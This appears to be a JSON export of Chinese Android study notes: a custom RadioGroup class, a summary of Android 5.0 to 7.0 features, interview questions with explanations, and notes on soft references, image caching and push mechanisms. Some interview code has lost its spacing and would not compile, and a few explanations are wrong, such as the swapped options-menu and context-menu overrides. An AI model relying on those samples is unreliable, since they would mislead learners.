LayoutParams(ViewGroup.LayoutParams p) {\n            super(p);\n        }\n\n        /**\n         * {@inheritDoc}\n         */\n        public LayoutParams(MarginLayoutParams source) {\n            super(source);\n        }\n\n        /**\n         * <p>Fixes the child's width to\n         * {@link android.view.ViewGroup.LayoutParams#WRAP_CONTENT} and the child's\n         * height to  {@link android.view.ViewGroup.LayoutParams#WRAP_CONTENT}\n         * when not specified in the XML file.</p>\n         *\n         * @param a the styled attributes set\n         * @param widthAttr the width attribute to fetch\n         * @param heightAttr the height attribute to fetch\n         */\n        @Override\n        protected void setBaseAttributes(TypedArray a,\n                                         int widthAttr, int heightAttr) {\n\n            if (a.hasValue(widthAttr)) {\n                width = a.getLayoutDimension(widthAttr, \"layout_width\");\n            } else {\n                width = WRAP_CONTENT;\n            }\n\n            if (a.hasValue(heightAttr)) {\n                height = a.getLayoutDimension(heightAttr, \"layout_height\");\n            } else {\n                height = WRAP_CONTENT;\n            }\n        }\n    }\n\n    /**\n     * <p>Interface definition for a callback to be invoked when the checked\n     * radio button changed in this group.</p>\n     */\n    public interface OnCheckedChangeListener {\n        /**\n         * <p>Called when the checked radio button has changed. When the\n         * selection is cleared, checkedId is -1.</p>\n         *\n         * @param group the group in which the checked radio button has changed\n         * @param checkedId the unique identifier of the newly checked radio button\n         */\n        public void onCheckedChanged(RadioGroup group, int checkedId);\n    }\n\n    private class CheckedStateTracker implements CompoundButton.OnCheckedChangeListener {\n        public void onCheckedChanged(CompoundButton buttonView, boolean isChecked) {\n            // prevents from infinite recursion\n            if (mProtectFromCheckedChange) {\n                return;\n            }\n\n            mProtectFromCheckedChange = true;\n            if (mCheckedId != -1) {\n                setCheckedStateForView(mCheckedId, false);\n            }\n            mProtectFromCheckedChange = false;\n\n            int id = buttonView.getId();\n            setCheckedId(id);\n        }\n    }\n\n    /**\n     * <p>A pass-through listener acts upon the events and dispatches them\n     * to another listener. This allows the table layout to set its own internal\n     * hierarchy change listener without preventing the user to setup his.</p>\n     */\n    private class PassThroughHierarchyChangeListener implements\n            ViewGroup.OnHierarchyChangeListener {\n        private ViewGroup.OnHierarchyChangeListener mOnHierarchyChangeListener;\n\n        /**\n         * {@inheritDoc}\n         */\n        public void onChildViewAdded(View parent, View child) {\n            if (parent == RadioGroup.this && child instanceof RadioButton) {\n                int id = child.getId();\n                // generates an id if it's missing\n                if (id == View.NO_ID) {\n                    id = child.hashCode();\n                    child.setId(id);\n                }\n                ((RadioButton) child).setOnCheckedChangeListener(\n                        mChildOnCheckedChangeListener);\n            }\n\n            if (mOnHierarchyChangeListener != null) {\n                mOnHierarchyChangeListener.onChildViewAdded(parent, child);\n            }\n        }\n\n        /**\n         * {@inheritDoc}\n         */\n        public void onChildViewRemoved(View parent, View child) {\n            if (parent == RadioGroup.this && child instanceof RadioButton) {\n                ((RadioButton) child).setOnCheckedChangeListener(null);\n            }\n\n            if (mOnHierarchyChangeListener != null) {\n                mOnHierarchyChangeListener.onChildViewRemoved(parent, child);\n            }\n        }\n    }\n}\n```\n\n\n这样我们的RadioGroup下面就可以使用布局了，不过目前仅对LinearLayout做了兼容，一般来说这样，就已经可以满足我们的需求了，当然如果我们喜欢的话，也可以对其他的布局进行兼容。\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/Android5.0-6.0-7.0新特性.md",
    "content": "# Android 5.0 6.0 7.0特性\n\n## Android 7.0\n\n分屏多任务支持\n\n画中画\n\n通知栏快速回复\n\nOpenJDK替换Java API\n\nAndroid 7.0中采用了一项具有实时代码剖析功能的ARI JIT编译器，它能够在安卓应用程序在运行时不断提高自身的性能\n\n[art虚拟机介绍](http://www.cnblogs.com/manuosex/p/3634375.html)\nhttp://www.cnblogs.com/manuosex/p/3634375.html\n\n\n\n\n\n\n----\n\n## Android6.0\n\n1、大量漂亮流畅的动画\n安卓6.0系统增加了大量漂亮的过度动画，可以从视觉上减少卡顿感，给用户带来流畅的体验。\n\n2、相机新增专业模式\n一直以来，原生的安卓相机都长被吐槽太过简单甚至简陋了，在此次的安卓6.0中，相机中新增了Pro专业模式，增加了快门速度调节和曝光度调节等新功能。\n\n3、全新的电源键菜单\n一般来说，安卓的电源键菜单都是关机/重启/飞行，安卓6.0变成了关机/重启/紧急，关机和重启就不用赘述了，这个紧急模式是为了手机快没电的时候设计的，相当于飞行模式的高级版，可以关闭一切耗电应用，尽最大可能节省电量。\n\n4、可自定义锁界面样式\n支持电话、信息、相机等快捷方式在锁屏界面的定制，用户可以根据自己的喜好调整这些图标的位置，或者开启或关闭这些快捷方式。\n\n5、全新的快速设置风格\n不但是锁屏界面可以定制，安卓6.0还采用了全新的快速面板的色彩方案，用户可以通过更换主题换颜色。\n\n6、支持快速充电的切换\n快速充电是手机厂商们的一大新发明，很多厂商都声称“充电X分钟，通话两小时”，这个功能虽然方便，但其实也有弊端，容易造成手机和电池发热。所以除非是在紧急情况下，一般不建议快速充电，安卓6.0原生支持关闭和开启快速充电功能。\n\n7、支持文件夹拖拽应用\n可在应用从一个文件夹内直接拖到另一个文件夹，简化了此前繁琐的操作方式，拖拽的过程和Windows的拖拽功能有点相似。\n\n8、原生的应用权限管理\n无需第三方应用和Root权限，原生的安卓6.0就支持应用权限管理，用户可以在安装应用时选择关闭一些应用权限，这一功能非常方便，再也不用担心流量偷跑和扣费了。\n\n9、Now on Tap功能\n“Now on Tap ”功能，是指将Google Now(一种语音助手)作为底层植入到安卓6.0系统中，用户只要只要双击home键启动Google Now，“这意味着用户随时都能启动搜索功能，目前暂时不知道这个功能进入国内会不会阉割掉。\n\n10、支持RAW格式照片\nRAW格式的支持是众多拍照爱好者梦寐以求的， 然而绝大多数的安卓手机都没有或者剔除了这项功能。由于照片保存为jpg格式时或多或少都会损失一些画质，所以支持RAW格式是非常明智的。\n\n\n----\n\n\n## Android５.0\n\n - 全新 Material Design 设计风格\n \n - 支持多种设备（手机、平板电脑、笔记本电脑、智能电视、汽车、智能手表甚至是各种家用电子产品）\n\n - 全新的通知中心设计（在锁屏界面也可以直接查看通知消息了，用户还可以直接在锁屏的情况下就行回复或进入应用。）\n\n - 支持 64 位 ART 虚拟机\n　\n>　　 新系统不仅在视觉效果上带来了巨大的变化，Android Lollipop 还在内部的性能上进行了飞跃。首先，新系统放弃了之前一直使用的 Dalvik 虚拟机，改用了 ART 模式，实现了真正的跨平台编译，在 ARM、X86、MIPS 等，无处不在。\n　　ART 虚拟机编译器在内存占用及应用程序加载时间上进行了大幅提升，谷歌承诺所有性能都会比原来提升一倍。另外，对 64 位的支持也让 ART 虚拟机如鱼得水，开发者可以针对像 ARM Cortex-A57 这样的 64 位架构核心开发应用程序。Android Lollipop 支持更大的寄存器，支持新的指令集，提升了内存寻址空间，未来 Android 智能手机将支持 4GB 以上的内存。\n\n - Project Volta 电池续航改进计划\n \n   增加了 Battery Saver 模式，在低电量的时候系统会自动降低屏幕亮度、限制自动更换背景等功能。\n\n - 全新的“最近应用程序”\n\n  除了界面风格设计的改变之外，新的最近应用界面还借鉴了 Chrome 浏览器的理念，采用单独的标签展示方式。更重要的是，谷歌已经向开发者开放了 API，所以第三方开发人员可以利用这个改进为特定的应用增加全新的功能。\n\n - 新的 API 支持，蓝牙 4.1、USB Audio、多人分享等其它特性\n\n  \n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/Android中常见面试题.md",
    "content": "# Android常见面试题\n\n\n- 下面异常是属于Runtime Exception 的是(abcd)(多选)      \n    \t\nA、ArithmeticException　　\nB、IllegalArgumentException　　\nC、NullPointerException　　\nD、BufferUnderflowException\n\t\n解析：\n\t\tJava提供了两类主要的异常:runtime exception和checked exception。checked 异常也就是我们经常遇到的IO异常，以及SQL异常都是这种异常。对于这种异常，JAVA编译器强制要求我们必需对出现的这些异常进行catch。所以，面对这种异常不管我们是否愿意，只能自己去写一大堆catch块去处理可能的异常。。。\n\n出现运行时异常后，系统会把异常一直往上层抛，一直遇到处理代码。如果没有处理块，到最上层，如果是多线程就由Thread.run()抛出，如果是单线程就被main()抛出。抛出之后，如果是线程，这个线程也就退出了。如果是主程序抛出的异常，那么这整个程序也就退出了。运行时异常是Exception的子类，也有一般异常的特点，是可以被Catch块处理的。只不过往往我们不对他处理罢了。也就是说，你如果不对运行时异常进行处理，那么出现运行时异常之后，要么是线程中止，要么是主程序终止。\n    \n编译时被检查的异常和运行时异常的区别：\n\t　编译被检查的异常在函数内被抛出，函数必须要声明，否编译失败。\n\t　声明的原因：是需要调用者对该异常进行处理。\n\t　运行时异常如果在函数内被抛出，在函数上不需要声明。\n\n----\n\n - Math.round(11.5)等于多少(). Math.round(-11.5)等于多少(c)\n \n     A、11 ,-11 B、11 ,-12 C、12 ,-11 D、12 ,-12\n     \n\t解析：\n\t  Math.ceil()用作向上取整。\n      Math.floor()用作向下取整。\n      Math.round() 我们数学中常用到的四舍五入取整。\n\n----\n\n -  对一些资源以及状态的操作保存，最好是保存在生命周期的哪个函数中进行(d) \n \n     A、onPause() B、onCreate() C、 onResume() D、onStart()\n\n\t解析：\n![](http://img.blog.csdn.net/20160411181000798)\n\n系统杀死程序会调用onSaveInstanceState(Bundle)进行数据保存，这里保存的数据会出现在在程序下一次onStart（Bundle）这个Bundle中，onStart时可以将Bundle中数据取出。\n\n\n----\n\n -  Intent传递数据时，下列的数据类型哪些可以被传递(abcd)(多选) \n \n A、Serializable B、charsequence C、Parcelable D、Bundle\n\n解析：\n\t\nSerializable :将 Java 对象序列化为二进制文件的 Java 序列化技术是 Java系列技术中一个较为重要的技术点，在大部分情况下，开发人员只需要了解被序列化的类需要实现 Serializable 接口，使用ObjectInputStream 和 ObjectOutputStream 进行对象的读写。\n\ncharsequence  :\n实现了这个接口的类有：CharBuffer、String、StringBuffer、StringBuilder这个四个类。\nCharBuffer为nio里面用的一个类，String实现这个接口理所当然，StringBuffer也是一个CharSequence，StringBuilder是Java抄袭C#的一个类，基本和StringBuffer类一样，效率高，但是不保证线程安全，在不需要多线程的环境下可以考虑。\n提供这么一个接口，有些处理String或者StringBuffer的类就不用重载了。但是这个接口提供的方法有限，只有下面几个：charat、length、subSequence、toString这几个方法，感觉如果有必要，还是重载的比较好，避免用instaneof这个操作符。\n\nParcelable  :\nandroid提供了一种新的类型：Parcel。本类被用作封装数据的容器，封装后的数据可以通过Intent或IPC传递。 除了基本类型以\n外，只有实现了Parcelable接口的类才能被放入Parcel中。\n是GOOGLE在安卓中实现的另一种序列化,功能和Serializable相似,主要是序列化的方式不同\nBundle是将数据传递到另一个上下文中或保存或回复你自己状态的数据存储方式。它的数据不是持久化状态。\n\n----\n\n\n - 下列属于SAX解析xml文件的优点的是(b)\n \n\t   A、将整个文档树在内存中，便于操作，支持删除，修改，重新排列等多种功能\nB、不用事先调入整个文档，占用资源少\nC、整个文档调入内存，浪费时间和空间\nD、不是长久驻留在内存，数据不是持久的，事件过后，若没有保存数据，数据就会消失\n\n解析：\n\t在Android中提供了三种解析XML的方式:SAX(Simple API XML),DOM(Document Objrect Model),以及Android推荐的Pull解析方式。\n\nSAX： 是事件驱动型XML解析的一个标准接口，简单地说就是对文档进行顺序扫描，当扫描到文档（document）开始与结束、元素（element）开始与结束、文档（document）结束等地方时通知事件处理函数，由事件处理函数做相应动作，然后继续同样的扫描，直至文档结束。\n\nDOM：即对象文档模型，它是将整个XML文档载入内存(所以效率较低，不推荐使用)，使用DOM API遍历XML树、检索所需的数据，每一个节点当做一个对象。\n\nPull：运行方式与 SAX 解析器相似。它提供了类似的事件，SAX解析器的工作方式是自动将事件推入事件处理器进行处理，因此你不能控制事件的处理主动结束；而Pull解析器的工作方式为允许你的应用程序代码主动从解析器中获取事件，正因为是主动获取事件，因此可以在满足了需要的条件后不再获取事件，结束解析。pull是一个while循环，随时可以跳出，而sax是只要解析了，就必须解析完成。\n\n----\n\n - 在android中使用Menu时可能需要重写的方法有(ac)。(多选)\n \n\t   A、onCreateOptionsMenu()\nB、onCreateMenu()\nC、onOptionsItemSelected()\nD、onItemSelected()\n\n\t解析：\n\tandroid中有三种菜单\n\t\n\t1.选项菜单Options menus :一个Activity只能有一个选项菜单，在按下Menu键时，显示在屏幕下方。\n\t\n\t\t重写 onCreateContextMenu 用以创建上下文菜单 \n\t\t重写 onContextItemSelected 用以响应上下文菜单  \n\t2.上下文菜单Context menus :为Activity中的任何一个视图注册一个上下文菜单，“长按”出现。\n\n\t\t重写 onCreateOptionsMenu 用以创建选项菜单 \n\t\t重写 onOptionsItemSelected 用以响应选项菜单 \n\t\t\n\t3.弹出式菜单Popup menus :依赖于Activity中的某个一个视图\n\n\n----\n\n - android 关于service生命周期的onCreate()和onStart()说法正确的是(ad)(多选题)\n \n\t A、当第一次启动的时候先后调用onCreate()和onStart()方法\nB、当第一次启动的时候只会调用onCreate()方法\nC、如果service已经启动，将先后调用onCreate()和onStart()方法\nD、如果service已经启动，只会执行onStart()方法，不在执行onCreate()方法\n\n\t解析：\n![](http://img.blog.csdn.net/20160411181016027)\n\n1). 被启动的服务的生命周期：如果一个Service被某个Activity 调用 Context.startService 方法启动，那么不管是否有Activity使用bindService绑定或unbindService解除绑定到该Service，该Service都在后台运行。如果一个Service被startService 方法多次启动，那么onCreate方法只会调用一次，onStart将会被调用多次（对应调用startService的次数），并且系统只会创建Service的一个实例（因此你应该知道只需要一次stopService调用）。该Service将会一直在后台运行，而不管对应程序的Activity是否在运行，直到被调用stopService，或自身的stopSelf方法。当然如果系统资源不足，android系统也可能结束服务。\n\n2). 被绑定的服务的生命周期：如果一个Service被某个Activity 调用 Context.bindService 方法绑定启动，不管调用 bindService 调用几次，onCreate方法都只会调用一次，同时onStart方法始终不会被调用。当连接建立之后，Service将会一直运行，除非调用Context.unbindService 断开连接或者之前调用bindService 的 Context 不存在了（如Activity被finish的时候），系统将会自动停止Service，对应onDestroy将被调用。\n\n3). 被启动又被绑定的服务的生命周期：如果一个Service又被启动又被绑定，则该Service将会一直在后台运行。并且不管如何调用，onCreate始终只会调用一次，对应startService调用多少次，Service的onStart便会调用多少次。调用unbindService将不会停止Service，而必须调用 stopService 或 Service的 stopSelf 来停止服务。\n4). 当服务被停止时清除服务：当一个Service被终止（1、调用stopService；2、调用stopSelf；3、不再有绑定的连接（没有被启动））时，onDestroy方法将会被调用，在这里你应当做一些清除工作，如停止在Service中创建并运行的线程。\n特别注意：\n\n1、你应当知道在调用 bindService 绑定到Service的时候，你就应当保证在某处调用 unbindService 解除绑定（尽管 Activity 被 finish 的时候绑定会自动解除，并且Service会自动停止）；\n2、你应当注意 使用 startService 启动服务之后，一定要使用 stopService停止服务，不管你是否使用bindService；\n3、同时使用 startService 与 bindService 要注意到，Service 的终止，需要unbindService与stopService同时调用，才能终止 Service，不管 startService 与 bindService 的调用顺序，如果先调用 unbindService 此时服务不会自动终止，再调用 stopService 之后服务才会停止，如果先调用 stopService 此时服务也不会终止，而再调用 unbindService 或者 之前调用 bindService 的 Context 不存在了（如Activity 被 finish 的时候）之后服务才会自动停止；\n4、当在旋转手机屏幕的时候，当手机屏幕在“横”“竖”变换时，此时如果你的 Activity 如果会自动旋转的话，旋转其实是 Activity 的重新创建，因此旋转之前的使用 bindService 建立的连接便会断开（Context 不存在了），对应服务的生命周期与上述相同。\n5、在 sdk 2.0 及其以后的版本中，对应的 onStart 已经被否决变为了 onStartCommand，不过之前的 onStart 任然有效。这意味着，如果你开发的应用程序用的 sdk 为 2.0 及其以后的版本，那么你应当使用 onStartCommand 而不是 onStart。\n\n----\n\n - 下面是属于GLSurFaceView特性的是(abc)(多选)\n \nA、管理一个surface，这个surface就是一块特殊的内存，能直接排版到android的视图view上。\nB、管理一个EGL display，它能让opengl把内容渲染到上述的surface上。\nC、让渲染器在独立的线程里运作，和UI线程分离。\nD、可以直接从内存或者DMA等硬件接口取得图像数据\n\n解析：\nAndroid游戏当中主要的除了控制类外就是显示类View。SurfaceView是从View基类中派生出来的显示类。android游戏开发中常用的三种视图是：view、SurfaceView和GLSurfaceView。\n\nView：显示视图，内置画布，提供图形绘制函数、触屏事件、按键事件函数等；必须在UI主线程内更新画面，速度较慢。\n\nSurfaceView：基于view视图进行拓展的视图类，更适合2D游戏的开发；是view的子类，类似使用双缓机制，在新的线程中更新画面所以刷新界面速度比view快。\n\nGLSurfaceView：基于SurfaceView视图再次进行拓展的视图类，专用于3D游戏开发的视图；是SurfaceView的子类，openGL专用。\n\nGLSurfaceView提供了下列特性：\n                1.管理一个surface，这个surface就是一块特殊的内存，能直接排版到android的视图view上。\n                2.管理一个EGL display，它能让opengl把内容渲染到上述的surface上。\n                3.用户自定义渲染器(render)。\n                4 . 让渲染器在独立的线程里运作，和UI线程分离。\n                5.支持按需渲染(on-demand)和连续渲染(continuous)。\n\t\t        6.一些可选工具，如调试。\n\n----\n\n - 关于ContenValues类说法正确的是(a)\n \nA、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名是String类型，而值都是基本类型\n\nB、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名是任意类型，而值都是基本类型\n\nC、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名，可以为空，而值都是String类型\n\nD、他和Hashtable比较类似，也是负责存储一些名值对，但是他存储的名值对当中的名是String类型，而值也是String类型\n\n解析：\nContentValues 和HashTable类似都是一种存储的机制 但是两者最大的区别就在于，contenvalues Key只能是String类型，values只能存储基本类型的数据，像string，int之类的，不能存储对象这种东西。ContentValues 常用在数据库中的操作。\n\nHashMap是Hashtable的轻量级实现（非线程安全的实现），他们都完成了Map接口，主要区别在于HashMap允许空（null）键值（key）,由于非线程安全，效率上可能高于Hashtable。HashMap允许将null作为一个entry的key或者value，而Hashtable不允许。\n\n\n----\n\n - 下面退出Activity错误的方法是(d)\n\nA、finish()\nB、抛异常强制退出\nC、System.exit()\nD、onStop()\n\n解析：\n\t\n![](http://img.blog.csdn.net/20160411181031423)\n\n\nfinish()：在你的activity动作完成的时候，或者Activity需要关闭的时候，调用此方法。当你调用此方法的时候，系统只是将最上面的Activity移出了栈，并没有及时的调用onDestory（）方法，其占用的资源也没有被及时释放。因为移出了栈，所以当你点击手机上面的“back”按键的时候，也不会再找到这个Activity。finish函数仅仅把当前Activity退出了，但是并没有释放他的资源。安卓系统自己决定何时从内存中释放应用程序。当系统没有可用内存到时候，会按照优先级，释放部分应用。\n\nonDestory()：系统销毁了这个Activity的实例在内存中占据的空间。\n在Activity的生命周期中，onDestory()方法是他生命的最后一步，资源空间等就被回收了。当重新进入此Activity的时候，必须重新创建，执行onCreate()方法。\n\nSystem.exit(0)：退出整个应用程序（不仅仅是当前activity）。将整个进程直接Kill掉。\n\n----\n\n-  关于res/raw目录说法正确的是(a)\n \nA、 这里的文件是原封不动的存储到设备上不会转换为二进制的格式\nB、这里的文件是原封不动的存储到设备上会转换为二进制的格式\nC、 这里的文件最终以二进制的格式存储到指定的包中\nD、这里的文件最终不会以二进制的格式存储到指定的包中\n\n\t解析：\n\tres/raw和assets的相同点：\n\t两者目录下的文件在打包后会原封不动的保存在apk包中，不会被编译成二进制。\n\n\tres/raw和assets的不同点：\n\t1.res/raw中的文件会被映射到R.java文件中，访问的时候直接使用资源ID即R.id.filename；assets文件夹下的文件不会被映射到R.java中，访问的时候需要AssetManager类。\n\n - android中常用的四个布局是framlayout，linenarlayout，relativelayout和tablelayout。\n \n - android 的四大组件是activiey，service，broadcast和contentprovider。\n \n -  activity一般会重载7个方法用来维护其生命周期，除了onCreate(),onStart(),onDestory() 外还有onpause,onresume,onstop，onrestart。\n\n - android的数据存储的方式sharedpreference,文件,SQlite,contentprovider,网络。\n\n----\n \n\n - 程序运行的结果是：good and gbc\n\n```\n public classExample{\n　　String str=new String(\"good\");\n　　char[]ch={'a','b','c'};\n　　public static void main(String args[]){\n　　Example ex=new Example();\n　　ex.change(ex.str,ex.ch);\n　　System.out.print(ex.str+\" and \");\n　　Sytem.out.print(ex.ch);\n　　}\n　　public void change(String str,char ch[]){\n　　str=\"test ok\";\n　　ch[0]='g';\n　　}\n　　}\n```\n\n\t解析：\n\tpublic void change(String str,char ch[])\n\tstr是按值传递，所以在函数中对它的操作只生效于它的副本，与原字符串无关。\n\tch是按址传递，在函数中根据地址，可以直接对字符串进行操作。\n\n - 在android中，请简述jni的调用过程。\n\n\t\t   1)安装和下载Cygwin，下载 Android NDK\n\t\t　　2)在ndk项目中JNI接口的设计\n\t\t　　3)使用C/C++实现本地方法\n\t\t　　4)JNI生成动态链接库.so文件\n\t\t　  5)将动态链接库复制到java工程，在java工程中调用，运行java工程即可\n\n----\n\n - Android应用程序结构：\n \n\t Linux Kernel(Linux内核)、Libraries(系统运行库或者是c/c++核心库)、Application Framework(开发框架包)、Applications (核心应用程序)\n\t \n![](http://img.blog.csdn.net/20160411181237328)\n\n----\n\n - 请继承SQLiteOpenHelper实现创建一个版本为1的“diaryOpenHelper.db”的数据库，同时创建一个 “diary” 表(包含一个_id主键并自增长，topic字符型100长度， content字符型1000长度)，在数据库版本变化时请删除diary表，并重新创建出diary表。\n\n```\npublic class DBHelper extends SQLiteOpenHelper{\n　　public final static String DATABASENAME =\"diaryOpenHelper.db\";\n　　public final static int DATABASEVERSION =1;\n　　//创建数据库\n　　public DBHelper(Context context,Stringname,CursorFactory factory,int version)\n　　{\n　　super(context, name, factory,version);\n　　}\n　　//创建表等机构性文件\n　　public void onCreate(SQLiteDatabase db)\n　　{\n　　String sql =\"create tablediary\"+\n　　\"(\"+\n　　\"_idinteger primary key autoincrement,\"+\n　　\"topicvarchar(100),\"+\n　　\"contentvarchar(1000)\"+\n　　\")\";\n　　db.execSQL(sql);\n　　}\n　　//若数据库版本有更新，则调用此方法\n　　public void onUpgrade(SQLiteDatabasedb,int oldVersion,int newVersion)\n　　{\n　　String sql = \"drop table ifexists diary\";\n　　db.execSQL(sql);\n　　this.onCreate(db);\n　　}\n　　}\n```\n\n----\n\n - 页面上现有ProgressBar控件progressBar，请用书写线程以10秒的的时间完成其进度显示工作。\n \n \n\n```\npublic class ProgressBarStu extends Activity {\n\n　　private ProgressBar progressBar = null;\n　　protected void onCreate(BundlesavedInstanceState) {\n　　super.onCreate(savedInstanceState);\n　　setContentView(R.layout.progressbar);\n　　//从这到下是关键\n　　progressBar = (ProgressBar)findViewById(R.id.progressBar);\n　　Thread thread = new Thread(newRunnable() {\n　　@Override\n　　public void run() {\n　　int progressBarMax =progressBar.getMax();\n　　try {\n　　while(progressBarMax!=progressBar.getProgress())\n　　{\n　　intstepProgress = progressBarMax/10;\n　　intcurrentprogress = progressBar.getProgress();\n　　progressBar.setProgress(currentprogress+stepProgress);\n　　Thread.sleep(1000);\n　　}\n　　} catch(InterruptedException e) {\n　　// TODO Auto-generatedcatch block\n　　e.printStackTrace();\n　　}\n　　}\n　　});\n　　thread.start();\n　　//关键结束\n　　}\n　　}\n```\n\n - onFreeze() renamed to onSaveInstanceState()，以便恢复在onCreate(Bundle)里面设置的状态。\n \n - 如果后台的Activity由于某原因被系统回收了，onSaveInstanceState()在被系统回收之前（onPause()前面）保存当前状态。\n \n\t 当你的程序中某一个Activity A在运行时，主动或被动地运行另一个新的Activity B，这个时候A会执行onSaveInstanceState()。B完成以后又会来找A，这个时候就有两种情况：一是A被回收，二是A没有被回收，被回收的A就要重新调用onCreate()方法，不同于直接启动的是这回onCreate()里是带上了参数savedInstanceState;而没被收回的就直接执行onResume()，跳过onCreate()了。\n\t \n - ContentProvider：\n \n\t提供了我们在应用程序之前共享数据的一种机制，而我们知道每一个应用程序都是运行在不同的应用程序的，数据和文件在不同应用程序之间达到数据的共享不是没有可能，而是显得比较复杂，而正好Android中的ContentProvider则达到了这一需求，比如有时候我们需要操作手机里的联系人，手机里的多媒体等一些信息，我们都可以用到这个ContentProvider来达到我们所需。\n\n\t1）、ContentProvider为存储和获取数据提供了统一的接口。ContentProvide对数据进行封装，不用关心数据存储的细节。使用表的形式来组织数据。\n2）、使用ContentProvider可以在不同的应用程序之间共享数据。 \n3）、Android为常见的一些数据提供了默认的ContentProvider（包括音频、视频、图片和通讯录等）。 \n总的来说使用ContentProvider对外共享数据的好处是统一了数据的访问方式。\n\n\tUri为系统的每一个资源给其一个名字，比方说通话记录。每一个ContentProvider都拥有一个公共的URI，这个URI用于表示这个ContentProvider所提供的数据。 \n\n - 请解释下Android程序运行时权限与文件系统权限的区别。\n\n\t\t运行时权限Dalvik( android授权)\n\t\t文件系统 linux 内核授权\n\n - 什么是ANR 如何避免它?\n\t\n\t\t在Android里，应用程序的响应性是由Activity Manager和Window Manager系统服务监视的。当它监测到以下情况中的一个时，Android就会针对特定的应用程序显示ANR：\n\n\t\t在5秒内没有响应输入的事件（例如，按键按下，屏幕触摸）\n\t\tBroadcastReceiver在10秒内没有执行完毕。\n\n\t\tAndroid应用程序通常是运行在一个单独的线程（例如，main）里。这意味着你的应用程序所做的事情如果在主线程里占用了太长的时间的话，就会引发ANR对话框，因为你的应用程序并没有给自己机会来处理输入事件或者Intent广播。\n\n\t\t在主线程里尽量的少做事情，比如高耗时的计算和网络、数据库等潜在的耗时操作都应该放在子线程来完成。\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/Android中弱引用与软引用.md",
    "content": "# Android中弱引用与软引用\n\n在Android应用的开发中，为了防止内存溢出，在处理一些占用内存大而且声明周期较长的对象时候，可以尽量应用软引用和弱引用技术。 下面以使用软引用为例来详细说明。弱引用的使用方式与软引用是类似的。\n\n假设我们的应用会用到大量的默认图片，比如应用中有默认的头像，默认游戏图标等等，这些图片很多地方会用到。如果每次都去读取图片，由于读取文件需要硬件操作，速度较慢，会导致性能较低。所以我们考虑将图片缓存起来，需要的时候直接从内存中读取。但是，由于图片占用内存空间比较大，缓存很多图片需要很多的内存，就可能比较容易发生OutOfMemory异常。这时，我们可以考虑使用软引用技术来避免这个问题发生。\n\n使用软引用以后，在OutOfMemory异常发生之前，这些缓存的图片资源的内存空间可以被释放掉的，从而避免内存达到上限，避免Crash发生。 　　　 　　\n\n<br>\n需要注意的是，在垃圾回收器对这个Java对象回收前，SoftReference类所提供的get方法会返回Java对象的强引用，一旦垃圾线程回收该Java对象之后，get方法将返回null。所以在获取软引用对象的代码中，一定要判断是否为null，以免出现NullPointerException异常导致应用崩溃。"
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/Android图片三级缓存.md",
    "content": "\n**Android图片三级缓存**\n\n1.简介 　\n\n　　现在android应用中不可避免的要使用图片，有些图片是可以变化的，需要每次启动时从网络拉取，这种场景在有广告位的应用以及纯图片应用（比如百度美拍）中比较多。\n\n　　现在有一个问题：假如每次启动的时候都从网络拉取图片的话，势必会消耗很多流量。在当前的状况下，对于非wifi用户来说，流量还是很贵的，一个很耗流量的应用，其用户数量级肯定要受到影响。当然，我想，向百度美拍这样的应用，必然也有其内部的图片缓存策略。总之，图片缓存是很重要而且是必须的。 \n\n2.图片缓存的原理 　\n\n　　实现图片缓存也不难，需要有相应的cache策略。一般采用 内存-文件-网络 三层cache机制，其中内存缓存包括强引用缓存和软引用缓存（SoftReference），其实网络不算cache，这里也把它划到缓存的层次结构中。当根据url向网络拉取图片的时候，先从内存中找，如果内存中没有，再从缓存文件中查找，如果缓存文件中也没有，再从网络上通过http请求拉取图片。在键值对（key-value）中，这个图片缓存的key是图片url的hash值，value就是bitmap。所以，按照这个逻辑，只要一个url被下载过，其图片就被缓存起来了。 \n\n关于Java中对象的软引用（SoftReference），如果一个对象具有软引用，内存空间足够，垃 圾回收器就不会回收它；如果内存空间不足了，就会回收这些对象的内存。只要垃圾回收器没有回收它，该对象就可以被程序使用。软引用可用来实现内存敏感的高 速缓存。使用软引用能防止内存泄露，增强程序的健壮性。 "
  },
  {
    "path": "docs/android/AndroidNote/Android面试相关/Android推送实现原理.md",
    "content": "> 心跳机制是定时发送一个自定义的结构体(心跳包)，让对方知道自己还活着，以确保连接的有效性的机制。\n\nandroid系统的推送和iOS的推送有什么区别：\n\n  　　 首先我们必须知道，所有的推送功能必须有一个客户端和服务器的长连接，因为推送是由服务器主动向客户端发送消息，如果客户端和服务器之间不存在一个长连接那么服务器是无法来主动连接客户端的。因而推送功能都是基于长连接的基础是上的。\n  　　 \n   　　IOS长连接是由系统来维护的，也就是说苹果的IOS系统在系统级别维护了一个客户端和苹果服务器的长链接，IOS上的所有应用上的推送都是先将消息推送到苹果的服务器然后将苹果服务器通过这个系统级别的长链接推送到手机终端上，这样的的几个好处为：\n \n 1.在手机终端始终只要维护一个长连接即可，而且由于这个长链接是系统级别的不会出现被杀死而无法推送的情况。　　\n \n 2.省电，不会出现每个应用都各自维护一个自己的长连接。　\n\n3.安全，只有在苹果注册的开发者才能够进行推送，等等。　\n\n   　android的长连接是由每个应用各自维护的，但是google也推出了和苹果技术架构相似的推送框架，C2DM,云端推送功能，但是由于google的服务器不在中国境内，其他的原因你懂的。所以导致这个推送无法使用，android的开发者不得不自己去维护一个长链接，于是每个应用如果都24小时在线，那么都得各自维护一个长连接，这种电量和流量的消耗是可想而知的。虽然国内也出现了各种推送平台，但是都无法达到只维护一个长连接这种消耗的级别。　\n   　\n推送的实现方式：\n一：客户端不断的查询服务器，检索新内容，也就是所谓的pull 或者轮询方式　\n\n二：客户端和服务器之间维持一个TCP/IP长连接，服务器向客户端push　\n\n三：服务器有新内容时，发送一条类似短信的信令给客户端，客户端收到后从服务器中下载新内容，也就是SMS的推送方式　\n\n　　苹果的推送系统和googleC2DM推送系统其实都是在系统级别维护一个TCP/IP长连接，都是基于第二种的方式进行推送的。第三种方式由于运营商没有免费开放这种信令导致了这种推送在成本上是无法接受的，虽然这种推送的方式非常的稳定，高效和及时。\n如果想了解android中各种推送方式请参考这个链接：Android实现推送方式解决方案 这篇博客已经介绍的非常好了。\n\n　　　